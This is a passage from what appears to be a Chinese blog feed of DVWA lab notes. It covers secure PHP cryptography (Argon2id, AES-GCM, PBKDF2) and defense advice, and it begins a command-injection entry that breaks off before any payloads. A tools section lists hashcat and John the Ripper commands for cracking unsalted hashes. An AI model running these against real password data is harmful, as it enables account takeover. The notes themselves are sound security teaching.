class="line">161</span><br><span class="line">162</span><br><span class="line">163</span><br><span class="line">164</span><br><span class="line">165</span><br><span class="line">166</span><br><span class="line">167</span><br><span class="line">168</span><br><span class="line">169</span><br><span class="line">170</span><br><span class="line">171</span><br><span class="line">172</span><br></pre></td><td class="code"><pre><span class="line"><span class="meta">&lt;?php</span></span><br><span class="line"></span><br><span class="line"><span class="comment">// ★★★ Impossible: 使用现代密码学最佳实践 ★★★</span></span><br><span class="line"></span><br><span class="line"><span class="variable">$password</span> = <span class="variable">$_POST</span>[<span class="string">&#x27;password&#x27;</span>] ?? <span class="string">&#x27;&#x27;</span>;</span><br><span class="line"></span><br><span class="line"><span class="comment">// ★★★ 核心防护1：使用password_hash() ★★★</span></span><br><span class="line"><span class="comment">// password_hash() - PHP内置的密码哈希函数</span></span><br><span class="line"><span class="comment">// PASSWORD_ARGON2ID - Argon2id算法（最新最安全）</span></span><br><span class="line"><span class="comment">//</span></span><br><span class="line"><span class="comment">// Argon2id的优点：</span></span><br><span class="line"><span class="comment">// 1. 抗GPU/ASIC攻击</span></span><br><span class="line"><span class="comment">// 2. 可配置的内存和时间成本</span></span><br><span class="line"><span class="comment">// 3. 自动生成随机盐</span></span><br><span class="line"><span class="comment">// 4. 内置版本管理</span></span><br><span class="line"><span class="comment">// 5. 2015年密码哈希竞赛冠军</span></span><br><span class="line"><span class="variable">$options</span> = [</span><br><span class="line">    <span class="string">&#x27;memory_cost&#x27;</span> =&gt; <span class="number">65536</span>,  <span class="comment">// 64MB内存</span></span><br><span class="line">    <span class="string">&#x27;time_cost&#x27;</span> =&gt; <span class="number">4</span>,         <span class="comment">// 4次迭代</span></span><br><span class="line">    <span class="string">&#x27;threads&#x27;</span> =&gt; <span class="number">2</span>            <span class="comment">// 2个线程</span></span><br><span class="line">];</span><br><span class="line"></span><br><span class="line"><span class="variable">$hashed</span> = <span class="title function_ invoke__">password_hash</span>(<span class="variable">$password</span>, PASSWORD_ARGON2ID, <span class="variable">$options</span>);</span><br><span class="line"></span><br><span class="line"><span class="keyword">echo</span> <span class="string">&quot;Password hash (Argon2id): &quot;</span> . <span class="variable">$hashed</span>;</span><br><span class="line"></span><br><span class="line"><span class="comment">// ★★★ 验证密码 ★★★</span></span><br><span class="line"><span class="comment">// password_verify() - 验证密码</span></span><br><span class="line"><span class="comment">// 自动处理盐和算法细节</span></span><br><span class="line"><span class="function"><span class="keyword">function</span> <span class="title">verify_password</span>(<span class="params"><span class="variable">$password</span>, <span class="variable">$hash</span></span>) </span>&#123;</span><br><span class="line">    <span class="keyword">return</span> <span class="title function_ invoke__">password_verify</span>(<span class="variable">$password</span>, <span class="variable">$hash</span>);</span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line"><span class="comment">// ★★★ 核心防护2：使用环境变量存储密钥 ★★★</span></span><br><span class="line"><span class="comment">// 不再硬编码密钥</span></span><br><span class="line"><span class="variable">$encryption_key</span> = <span class="title function_ invoke__">getenv</span>(<span class="string">&#x27;ENCRYPTION_KEY&#x27;</span>);</span><br><span class="line"></span><br><span class="line"><span class="keyword">if</span> (!<span class="variable">$encryption_key</span>) &#123;</span><br><span class="line">    <span class="keyword">die</span>(<span class="string">&#x27;Encryption key not configured&#x27;</span>);</span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line"><span class="comment">// ★★★ 核心防护3：使用AEAD模式（AES-GCM） ★★★</span></span><br><span class="line"><span class="comment">// AES-GCM - Galois/Counter Mode</span></span><br><span class="line"><span class="comment">// 优点：</span></span><br><span class="line"><span class="comment">// 1. 提供加密和认证</span></span><br><span class="line"><span class="comment">// 2. 防止密文篡改</span></span><br><span class="line"><span class="comment">// 3. 高性能</span></span><br><span class="line"><span class="comment">// 4. 内置消息认证码（MAC）</span></span><br><span class="line"></span><br><span class="line"><span class="variable">$message</span> = <span class="variable">$_POST</span>[<span class="string">&#x27;message&#x27;</span>] ?? <span class="string">&#x27;&#x27;</span>;</span><br><span class="line"></span><br><span class="line"><span class="variable">$method</span> = <span class="string">&#x27;aes-256-gcm&#x27;</span>;</span><br><span class="line"></span><br><span class="line"><span class="comment">// ★★★ 核心防护4：使用PBKDF2派生密钥 ★★★</span></span><br><span class="line"><span class="comment">// hash_pbkdf2() - 基于密码的密钥派生函数</span></span><br><span class="line"><span class="comment">// 参数：</span></span><br><span class="line"><span class="comment">// - 算法：sha256</span></span><br><span class="line"><span class="comment">// - 密码：原始密钥</span></span><br><span class="line"><span class="comment">// - 盐：随机盐</span></span><br><span class="line"><span class="comment">// - 迭代次数：100000次</span></span><br><span class="line"><span class="comment">// - 密钥长度：32字节（256位）</span></span><br><span class="line"><span class="variable">$salt</span> = <span class="title function_ invoke__">random_bytes</span>(<span class="number">16</span>);</span><br><span class="line"><span class="variable">$key</span> = <span class="title function_ invoke__">hash_pbkdf2</span>(</span><br><span class="line">    <span class="string">&#x27;sha256&#x27;</span>,</span><br><span class="line">    <span class="variable">$encryption_key</span>,</span><br><span class="line">    <span class="variable">$salt</span>,</span><br><span class="line">    <span class="number">100000</span>,</span><br><span class="line">    <span class="number">32</span>,</span><br><span class="line">    <span class="literal">true</span></span><br><span class="line">);</span><br><span class="line"></span><br><span class="line"><span class="comment">// ★★★ 生成随机IV ★★★</span></span><br><span class="line"><span class="comment">// AES-256-GCM需要12字节IV（推荐）</span></span><br><span class="line"><span class="variable">$iv</span> = <span class="title function_ invoke__">random_bytes</span>(<span class="number">12</span>);</span><br><span class="line"></span><br><span class="line"><span class="comment">// ★★★ 认证附加数据（AAD） ★★★</span></span><br><span class="line"><span class="comment">// 可选的附加数据，会被认证但不加密</span></span><br><span class="line"><span class="variable">$aad</span> = <span class="string">&#x27;dvwa-message&#x27;</span>;</span><br><span class="line"></span><br><span class="line"><span class="comment">// ★★★ 加密 ★★★</span></span><br><span class="line"><span class="variable">$tag</span> = <span class="string">&#x27;&#x27;</span>;  <span class="comment">// 认证标签</span></span><br><span class="line"><span class="variable">$encrypted</span> = <span class="title function_ invoke__">openssl_encrypt</span>(</span><br><span class="line">    <span class="variable">$message</span>,</span><br><span class="line">    <span class="variable">$method</span>,</span><br><span class="line">    <span class="variable">$key</span>,</span><br><span class="line">    OPENSSL_RAW_DATA,</span><br><span class="line">    <span class="variable">$iv</span>,</span><br><span class="line">    <span class="variable">$tag</span>,  // 输出认证标签</span><br><span class="line">    <span class="variable">$aad</span>,  // 附加认证数据</span><br><span class="line">    <span class="number">16</span>     // 标签长度：<span class="number">16</span>字节</span><br><span class="line">);</span><br><span class="line"></span><br><span class="line"><span class="comment">// ★★★ 组合所有数据 ★★★</span></span><br><span class="line"><span class="comment">// 格式：salt + IV + tag + ciphertext</span></span><br><span class="line"><span class="variable">$encrypted_data</span> = <span class="title function_ invoke__">base64_encode</span>(<span class="variable">$salt</span> . <span class="variable">$iv</span> . <span class="variable">$tag</span> . <span class="variable">$encrypted</span>);</span><br><span class="line"></span><br><span class="line"><span class="keyword">echo</span> <span class="string">&quot;Encrypted message (AES-256-GCM): &quot;</span> . <span class="variable">$encrypted_data</span>;</span><br><span class="line"></span><br><span class="line"><span class="comment">// ★★★ 解密函数 ★★★</span></span><br><span class="line"><span class="function"><span class="keyword">function</span> <span class="title">decrypt_message</span>(<span class="params"><span class="variable">$encrypted_data</span>, <span class="variable">$encryption_key</span></span>) </span>&#123;</span><br><span class="line">    <span class="variable">$method</span> = <span class="string">&#x27;aes-256-gcm&#x27;</span>;</span><br><span class="line">    <span class="variable">$decoded</span> = <span class="title function_ invoke__">base64_decode</span>(<span class="variable">$encrypted_data</span>);</span><br><span class="line"></span><br><span class="line">    <span class="comment">// ★★★ 提取各个部分 ★★★</span></span><br><span class="line">    <span class="variable">$salt</span> = <span class="title function_ invoke__">substr</span>(<span class="variable">$decoded</span>, <span class="number">0</span>, <span class="number">16</span>);    <span class="comment">// 盐：16字节</span></span><br><span class="line">    <span class="variable">$iv</span> = <span class="title function_ invoke__">substr</span>(<span class="variable">$decoded</span>, <span class="number">16</span>, <span class="number">12</span>);     <span class="comment">// IV：12字节</span></span><br><span class="line">    <span class="variable">$tag</span> = <span class="title function_ invoke__">substr</span>(<span class="variable">$decoded</span>, <span class="number">28</span>, <span class="number">16</span>);    <span class="comment">// 标签：16字节</span></span><br><span class="line">    <span class="variable">$ciphertext</span> = <span class="title function_ invoke__">substr</span>(<span class="variable">$decoded</span>, <span class="number">44</span>); <span class="comment">// 剩余：密文</span></span><br><span class="line"></span><br><span class="line">    <span class="comment">// ★★★ 重新派生密钥 ★★★</span></span><br><span class="line">    <span class="variable">$key</span> = <span class="title function_ invoke__">hash_pbkdf2</span>(</span><br><span class="line">        <span class="string">&#x27;sha256&#x27;</span>,</span><br><span class="line">        <span class="variable">$encryption_key</span>,</span><br><span class="line">        <span class="variable">$salt</span>,</span><br><span class="line">        <span class="number">100000</span>,</span><br><span class="line">        <span class="number">32</span>,</span><br><span class="line">        <span class="literal">true</span></span><br><span class="line">    );</span><br><span class="line"></span><br><span class="line">    <span class="comment">// ★★★ AAD必须相同 ★★★</span></span><br><span class="line">    <span class="variable">$aad</span> = <span class="string">&#x27;dvwa-message&#x27;</span>;</span><br><span class="line"></span><br><span class="line">    <span class="comment">// ★★★ 解密并验证 ★★★</span></span><br><span class="line">    <span class="variable">$decrypted</span> = <span class="title function_ invoke__">openssl_decrypt</span>(</span><br><span class="line">        <span class="variable">$ciphertext</span>,</span><br><span class="line">        <span class="variable">$method</span>,</span><br><span class="line">        <span class="variable">$key</span>,</span><br><span class="line">        OPENSSL_RAW_DATA,</span><br><span class="line">        <span class="variable">$iv</span>,</span><br><span class="line">        <span class="variable">$tag</span>,  // 验证认证标签</span><br><span class="line">        <span class="variable">$aad</span></span><br><span class="line">    );</span><br><span class="line"></span><br><span class="line">    <span class="comment">// ★★★ 如果认证失败，返回false ★★★</span></span><br><span class="line">    <span class="keyword">if</span> (<span class="variable">$decrypted</span> === <span class="literal">false</span>) &#123;</span><br><span class="line">        <span class="keyword">throw</span> <span class="keyword">new</span> <span class="built_in">Exception</span>(<span class="string">&#x27;Decryption failed: Message authentication failed&#x27;</span>);</span><br><span class="line">    &#125;</span><br><span class="line"></span><br><span class="line">    <span class="keyword">return</span> <span class="variable">$decrypted</span>;</span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line"><span class="comment">// ★★★ 额外安全措施 ★★★</span></span><br><span class="line"></span><br><span class="line"><span class="comment">// 1. 密钥轮换</span></span><br><span class="line"><span class="function"><span class="keyword">function</span> <span class="title">rotate_key_if_needed</span>(<span class="params"></span>) </span>&#123;</span><br><span class="line">    <span class="variable">$key_age</span> = <span class="title function_ invoke__">time</span>() - <span class="title function_ invoke__">getenv</span>(<span class="string">&#x27;KEY_CREATED_TIME&#x27;</span>);</span><br><span class="line">    <span class="variable">$max_age</span> = <span class="number">30</span> * <span class="number">24</span> * <span class="number">3600</span>; <span class="comment">// 30天</span></span><br><span class="line"></span><br><span class="line">    <span class="keyword">if</span> (<span class="variable">$key_age</span> &gt; <span class="variable">$max_age</span>) &#123;</span><br><span class="line">        <span class="comment">// 触发密钥轮换流程</span></span><br><span class="line">        <span class="title function_ invoke__">trigger_key_rotation</span>();</span><br><span class="line">    &#125;</span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line"><span class="comment">// 2. 审计日志</span></span><br><span class="line"><span class="function"><span class="keyword">function</span> <span class="title">log_crypto_operation</span>(<span class="params"><span class="variable">$operation</span>, <span class="variable">$success</span></span>) </span>&#123;</span><br><span class="line">    <span class="variable">$log</span> = [</span><br><span class="line">        <span class="string">&#x27;timestamp&#x27;</span> =&gt; <span class="title function_ invoke__">date</span>(<span class="string">&#x27;Y-m-d H:i:s&#x27;</span>),</span><br><span class="line">        <span class="string">&#x27;operation&#x27;</span> =&gt; <span class="variable">$operation</span>,</span><br><span class="line">        <span class="string">&#x27;success&#x27;</span> =&gt; <span class="variable">$success</span>,</span><br><span class="line">        <span class="string">&#x27;user&#x27;</span> =&gt; <span class="title function_ invoke__">dvwaCurrentUser</span>(),</span><br><span class="line">        <span class="string">&#x27;ip&#x27;</span> =&gt; <span class="variable">$_SERVER</span>[<span class="string">&#x27;REMOTE_ADDR&#x27;</span>]</span><br><span class="line">    ];</span><br><span class="line"></span><br><span class="line">    <span class="title function_ invoke__">file_put_contents</span>(</span><br><span class="line">        <span class="string">&#x27;/var/log/security/crypto.log&#x27;</span>,</span><br><span class="line">        <span class="title function_ invoke__">json_encode</span>(<span class="variable">$log</span>) . <span class="string">&quot;\n&quot;</span>,</span><br><span class="line">        FILE_APPEND</span><br><span class="line">    );</span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line"><span class="meta">?&gt;</span></span><br></pre></td></tr></table></figure><h3 id="完善的防护机制"><a href="#完善的防护机制" class="headerlink" title="完善的防护机制"></a>完善的防护机制</h3><p><strong>多层防御：</strong></p><ol><li><strong>Argon2id密码哈希</strong> - 抗暴力破解</li><li><strong>环境变量密钥</strong> - 不硬编码</li><li><strong>AES-GCM AEAD</strong> - 加密+认证</li><li><strong>PBKDF2密钥派生</strong> - 强密钥派生</li><li><strong>随机盐和IV</strong> - 每次都不同</li><li><strong>认证标签</strong> - 防止篡改</li><li><strong>密钥轮换</strong> - 定期更换密钥</li><li><strong>审计日志</strong> - 记录所有操作</li></ol><p><strong>安全流程：</strong></p><figure class="highlight crmsh"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br></pre></td><td class="code"><pre><span class="line">密码哈希：</span><br><span class="line">用户密码 → Argon2id(password, random_salt, options)</span><br><span class="line">→ 存储哈希</span><br><span class="line"></span><br><span class="line">验证：</span><br><span class="line">输入密码 → password_verify(input, stored_hash)</span><br><span class="line">→ <span class="literal">True</span>/<span class="literal">False</span></span><br><span class="line"></span><br><span class="line">加密：</span><br><span class="line">明文 + 密钥（环境变量）</span><br><span class="line">→ PBKDF2派生实际密钥</span><br><span class="line">→ AES-<span class="number">256</span>-GCM加密</span><br><span class="line">→ 生成认证标签</span><br><span class="line">→ 输出：salt + IV + <span class="keyword">tag</span> <span class="title">+ ciphertext</span></span><br><span class="line"></span><br><span class="line">解密：</span><br><span class="line">接收：salt + IV + <span class="keyword">tag</span> <span class="title">+ ciphertext</span></span><br><span class="line">→ PBKDF2派生密钥</span><br><span class="line">→ AES-<span class="number">256</span>-GCM解密</span><br><span class="line">→ 验证认证标签</span><br><span class="line">→ 成功：明文，失败：拒绝</span><br></pre></td></tr></table></figure><h3 id="为什么无法攻破？"><a href="#为什么无法攻破？" class="headerlink" title="为什么无法攻破？"></a>为什么无法攻破？</h3><p><strong>所有攻击都失败：</strong></p><figure class="highlight css"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br></pre></td><td class="code"><pre><span class="line">攻击<span class="number">1</span>：暴力破解密码</span><br><span class="line">Argon2id → 需要大量内存和时间</span><br><span class="line"><span class="number">64</span>MB内存 × <span class="number">4</span>次迭代 → 暴力破解不可行</span><br><span class="line"></span><br><span class="line">攻击<span class="number">2</span>：彩虹表</span><br><span class="line">随机盐 → 每个密码都有唯一哈希</span><br><span class="line">彩虹表无效</span><br><span class="line"></span><br><span class="line">攻击<span class="number">3</span>：篡改密文</span><br><span class="line">AES-GCM认证标签 → 任何修改都会导致验证失败</span><br><span class="line"></span><br><span class="line">攻击<span class="number">4</span>：<span class="attribute">Padding</span> Oracle</span><br><span class="line">AES-GCM不使用填充 → 不存在<span class="attribute">padding</span> oracle</span><br><span class="line"></span><br><span class="line">攻击<span class="number">5</span>：ECB模式攻击</span><br><span class="line">使用GCM模式 → ECB漏洞不存在</span><br><span class="line"></span><br><span class="line">攻击<span class="number">6</span>：获取密钥</span><br><span class="line">环境变量 → 不在代码中</span><br><span class="line">即使获取密文，没有密钥无法解密</span><br></pre></td></tr></table></figure><hr><h2 id="防御建议"><a href="#防御建议" class="headerlink" title="防御建议"></a>防御建议</h2><h3 id="密码哈希最佳实践"><a href="#密码哈希最佳实践" class="headerlink" title="密码哈希最佳实践"></a>密码哈希最佳实践</h3><figure class="highlight php"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment">// ✅ 正确：使用password_hash()</span></span><br><span class="line"><span class="variable">$hash</span> = <span class="title function_ invoke__">password_hash</span>(<span class="variable">$password</span>, PASSWORD_ARGON2ID, [</span><br><span class="line">    <span class="string">&#x27;memory_cost&#x27;</span> =&gt; <span class="number">65536</span>,</span><br><span class="line">    <span class="string">&#x27;time_cost&#x27;</span> =&gt; <span class="number">4</span>,</span><br><span class="line">    <span class="string">&#x27;threads&#x27;</span> =&gt; <span class="number">2</span></span><br><span class="line">]);</span><br><span class="line"></span><br><span class="line"><span class="comment">// 验证</span></span><br><span class="line"><span class="keyword">if</span> (<span class="title function_ invoke__">password_verify</span>(<span class="variable">$input_password</span>, <span class="variable">$hash</span>)) &#123;</span><br><span class="line">    <span class="comment">// 密码正确</span></span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line"><span class="comment">// ❌ 错误</span></span><br><span class="line"><span class="variable">$hash</span> = <span class="title function_ invoke__">md5</span>(<span class="variable">$password</span>);</span><br><span class="line"><span class="variable">$hash</span> = <span class="title function_ invoke__">sha1</span>(<span class="variable">$password</span>);</span><br><span class="line"><span class="variable">$hash</span> = <span class="title function_ invoke__">hash</span>(<span class="string">&#x27;sha256&#x27;</span>, <span class="variable">$password</span>);</span><br></pre></td></tr></table></figure><h3 id="加密最佳实践"><a href="#加密最佳实践" class="headerlink" title="加密最佳实践"></a>加密最佳实践</h3><figure class="highlight php"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment">// ✅ 正确：使用AEAD模式</span></span><br><span class="line"><span class="function"><span class="keyword">function</span> <span class="title">encrypt_message</span>(<span class="params"><span class="variable">$plaintext</span>, <span class="variable">$key</span></span>) </span>&#123;</span><br><span class="line">    <span class="variable">$method</span> = <span class="string">&#x27;aes-256-gcm&#x27;</span>;</span><br><span class="line">    <span class="variable">$iv</span> = <span class="title function_ invoke__">random_bytes</span>(<span class="number">12</span>);</span><br><span class="line">    <span class="variable">$tag</span> = <span class="string">&#x27;&#x27;</span>;</span><br><span class="line"></span><br><span class="line">    <span class="variable">$ciphertext</span> = <span class="title function_ invoke__">openssl_encrypt</span>(</span><br><span class="line">        <span class="variable">$plaintext</span>,</span><br><span class="line">        <span class="variable">$method</span>,</span><br><span class="line">        <span class="variable">$key</span>,</span><br><span class="line">        OPENSSL_RAW_DATA,</span><br><span class="line">        <span class="variable">$iv</span>,</span><br><span class="line">        <span class="variable">$tag</span></span><br><span class="line">    );</span><br><span class="line"></span><br><span class="line">    <span class="keyword">return</span> <span class="title function_ invoke__">base64_encode</span>(<span class="variable">$iv</span> . <span class="variable">$tag</span> . <span class="variable">$ciphertext</span>);</span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line"><span class="comment">// ❌ 错误</span></span><br><span class="line"><span class="comment">// - 使用ECB模式</span></span><br><span class="line"><span class="comment">// - 硬编码密钥</span></span><br><span class="line"><span class="comment">// - 不使用IV</span></span><br><span class="line"><span class="comment">// - 不验证消息完整性</span></span><br></pre></td></tr></table></figure><h3 id="密钥管理"><a href="#密钥管理" class="headerlink" title="密钥管理"></a>密钥管理</h3><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment"># 使用环境变量</span></span><br><span class="line"><span class="built_in">export</span> ENCRYPTION_KEY=$(openssl rand -hex 32)</span><br><span class="line"><span class="built_in">export</span> DATABASE_KEY=$(openssl rand -hex 32)</span><br><span class="line"></span><br><span class="line"><span class="comment"># 或使用密钥管理服务（KMS）</span></span><br><span class="line"><span class="comment"># - AWS KMS</span></span><br><span class="line"><span class="comment"># - Azure Key Vault</span></span><br><span class="line"><span class="comment"># - HashiCorp Vault</span></span><br></pre></td></tr></table></figure><h3 id="随机数生成"><a href="#随机数生成" class="headerlink" title="随机数生成"></a>随机数生成</h3><figure class="highlight php"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment">// ✅ 正确：密码学安全的随机数</span></span><br><span class="line"><span class="variable">$random</span> = <span class="title function_ invoke__">random_bytes</span>(<span class="number">32</span>);</span><br><span class="line"><span class="variable">$random</span> = <span class="title function_ invoke__">openssl_random_pseudo_bytes</span>(<span class="number">32</span>);</span><br><span class="line"></span><br><span class="line"><span class="comment">// ❌ 错误：不安全的随机数</span></span><br><span class="line"><span class="variable">$random</span> = <span class="title function_ invoke__">rand</span>();</span><br><span class="line"><span class="variable">$random</span> = <span class="title function_ invoke__">mt_rand</span>();</span><br><span class="line"><span class="variable">$random</span> = <span class="title function_ invoke__">uniqid</span>();</span><br></pre></td></tr></table></figure><hr><h2 id="总结对比"><a href="#总结对比" class="headerlink" title="总结对比"></a>总结对比</h2><table><thead><tr><th>特性</th><th>Low</th><th>Medium</th><th>High</th><th>Impossible</th></tr></thead><tbody><tr><td>密码哈希</td><td>MD5</td><td>SHA-1</td><td>SHA-256</td><td>Argon2id</td></tr><tr><td>盐（Salt）</td><td>❌</td><td>❌</td><td>❌</td><td>✅ 自动</td></tr><tr><td>加密算法</td><td>XOR</td><td>AES-ECB</td><td>AES-CBC</td><td>AES-GCM</td></tr><tr><td>IV</td><td>❌</td><td>❌</td><td>✅</td><td>✅</td></tr><tr><td>消息认证</td><td>❌</td><td>❌</td><td>❌</td><td>✅ AEAD</td></tr><tr><td>密钥管理</td><td>硬编码</td><td>硬编码</td><td>硬编码</td><td>环境变量</td></tr><tr><td>密钥派生</td><td>❌</td><td>简单hash</td><td>简单hash</td><td>PBKDF2</td></tr><tr><td>攻击难度</td><td>极易</td><td>简单</td><td>中等</td><td>极难</td></tr></tbody></table><hr><h2 id="常用工具"><a href="#常用工具" class="headerlink" title="常用工具"></a>常用工具</h2><h3 id="密码破解"><a href="#密码破解" class="headerlink" title="密码破解"></a>密码破解</h3><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment"># Hashcat</span></span><br><span class="line">hashcat -m 0 hashes.txt wordlist.txt    <span class="comment"># MD5</span></span><br><span class="line">hashcat -m 100 hashes.txt wordlist.txt  <span class="comment"># SHA-1</span></span><br><span class="line">hashcat -m 1400 hashes.txt wordlist.txt <span class="comment"># SHA-256</span></span><br><span class="line"></span><br><span class="line"><span class="comment"># John the Ripper</span></span><br><span class="line">john --format=raw-md5 hashes.txt</span><br><span class="line">john --format=raw-sha1 hashes.txt</span><br></pre></td></tr></table></figure><h3 id="加密分析"><a href="#加密分析" class="headerlink" title="加密分析"></a>加密分析</h3><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment"># 检测ECB模式</span></span><br><span class="line"><span class="keyword">from</span> Crypto.Cipher <span class="keyword">import</span> AES</span><br><span class="line"></span><br><span class="line"><span class="keyword">def</span> <span class="title function_">is_ecb</span>(<span class="params">ciphertext</span>):</span><br><span class="line">    blocks = [ciphertext[i:i+<span class="number">16</span>] <span class="keyword">for</span> i <span class="keyword">in</span> <span class="built_in">range</span>(<span class="number">0</span>, <span class="built_in">len</span>(ciphertext), <span class="number">16</span>)]</span><br><span class="line">    <span class="keyword">return</span> <span class="built_in">len</span>(blocks) != <span class="built_in">len</span>(<span class="built_in">set</span>(blocks))</span><br></pre></td></tr></table></figure><hr><h2 id="实战建议"><a href="#实战建议" class="headerlink" title="实战建议"></a>实战建议</h2><p><strong>渗透测试：</strong></p><ol><li>✅ 识别哈希算法（长度、格式）</li><li>✅ 尝试彩虹表&#x2F;暴力破解</li><li>✅ 检测加密模式（ECB&#x2F;CBC）</li><li>✅ 查找硬编码密钥</li><li>✅ 测试Padding Oracle</li><li>✅ 分析随机数质量</li></ol><p><strong>防御清单：</strong></p><ol><li>✅ 使用Argon2id&#x2F;bcrypt哈希密码</li><li>✅ 使用AES-GCM等AEAD模式</li><li>✅ 密钥存储在环境变量&#x2F;KMS</li><li>✅ 使用PBKDF2派生密钥</li><li>✅ 使用random_bytes()生成随机数</li><li>✅ 定期密钥轮换</li><li>✅ 审计所有密码学操作</li></ol><p><strong>道德准则：</strong></p><ul><li>只在授权环境测试</li><li>不破解真实用户密码</li><li>学习是为了构建安全系统</li></ul>]]></content>
    
    
      
      
    <summary type="html">&lt;h2 id=&quot;目录&quot;&gt;&lt;a href=&quot;#目录&quot; class=&quot;headerlink&quot; title=&quot;目录&quot;&gt;&lt;/a&gt;目录&lt;/h2&gt;&lt;ul&gt;
&lt;li&gt;&lt;a href=&quot;#%E6%BC%8F%E6%B4%9E%E7%AE%80%E4%BB%8B&quot;&gt;漏洞简介&lt;/a&gt;&lt;/li&gt;
&lt;l</summary>
      
    
    
    
    <category term="dvwa靶场学习笔记" scheme="http://caixuya.github.io/categories/dvwa%E9%9D%B6%E5%9C%BA%E5%AD%A6%E4%B9%A0%E7%AC%94%E8%AE%B0/"/>
    
    
  </entry>
  
  <entry>
    <title>DVWA - Command Injection (命令注入) 攻防练习详解</title>
    <link href="http://caixuya.github.io/2025/11/20/Command_Injection_%E6%94%BB%E9%98%B2%E7%BB%83%E4%B9%A0/"/>
    <id>http://caixuya.github.io/2025/11/20/Command_Injection_%E6%94%BB%E9%98%B2%E7%BB%83%E4%B9%A0/</id>
    <published>2025-11-20T15:31:37.093Z</published>
    <updated>2025-11-20T15:25:08.648Z</updated>
    
    <content type="html"><![CDATA[<h2 id="目录"><a href="#目录" class="headerlink" title="目录"></a>目录</h2><ul><li><a href="#%E6%BC%8F%E6%B4%9E%E7%AE%80%E4%BB%8B">漏洞简介</a></li><li><a href="#low-%E9%9A%BE%E5%BA%A6">Low 难度</a></li><li><a href="#medium-%E9%9A%BE%E5%BA%A6">Medium 难度</a></li><li><a href="#high-%E9%9A%BE%E5%BA%A6">High 难度</a></li><li><a href="#impossible-%E9%9A%BE%E5%BA%A6">Impossible 难度</a></li><li><a href="#%E9%98%B2%E5%BE%A1%E5%BB%BA%E8%AE%AE">防御建议</a></li></ul><hr><h2 id="漏洞简介"><a href="#漏洞简介" class="headerlink" title="漏洞简介"></a>漏洞简介</h2><h3 id="什么是命令注入（Command-Injection）？"><a href="#什么是命令注入（Command-Injection）？" class="headerlink" title="什么是命令注入（Command Injection）？"></a>什么是命令注入（Command Injection）？</h3><p>命令注入是指攻击者在应用程序中注入操作系统命令，使应用程序执行预期之外的系统命令。</p><p><strong>原理：</strong><br>应用程序将用户输入直接传递给系统shell执行，没有进行适当的过滤和验证。</p><p><strong>危害：</strong></p><ul><li>读取敏感文件（&#x2F;etc&#x2F;passwd、配置文件）</li><li>修改系统文件</li><li>执行任意命令</li><li>反弹shell获取服务器控制权</li><li>提权</li><li>植入后门</li></ul><p><strong>常见场景：</strong></p><ul><li>Ping工具</li><li>DNS查询工具</li><li>文件处理工具</li><li>系统管理工具</li></ul><hr><h2 id="Low-难度"><a href="#Low-难度" class="headerlink" title="Low 难度"></a>Low 难度</h2><h3 id="攻击目标"><a href="#攻击目标" class="headerlink" title="攻击目标"></a>攻击目标</h3><p>无任何过滤的命令执行，完全暴露。</p><h3 id="后端代码分析"><a href="#后端代码分析" class="headerlink" title="后端代码分析"></a>后端代码分析</h3><figure class="highlight php"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span 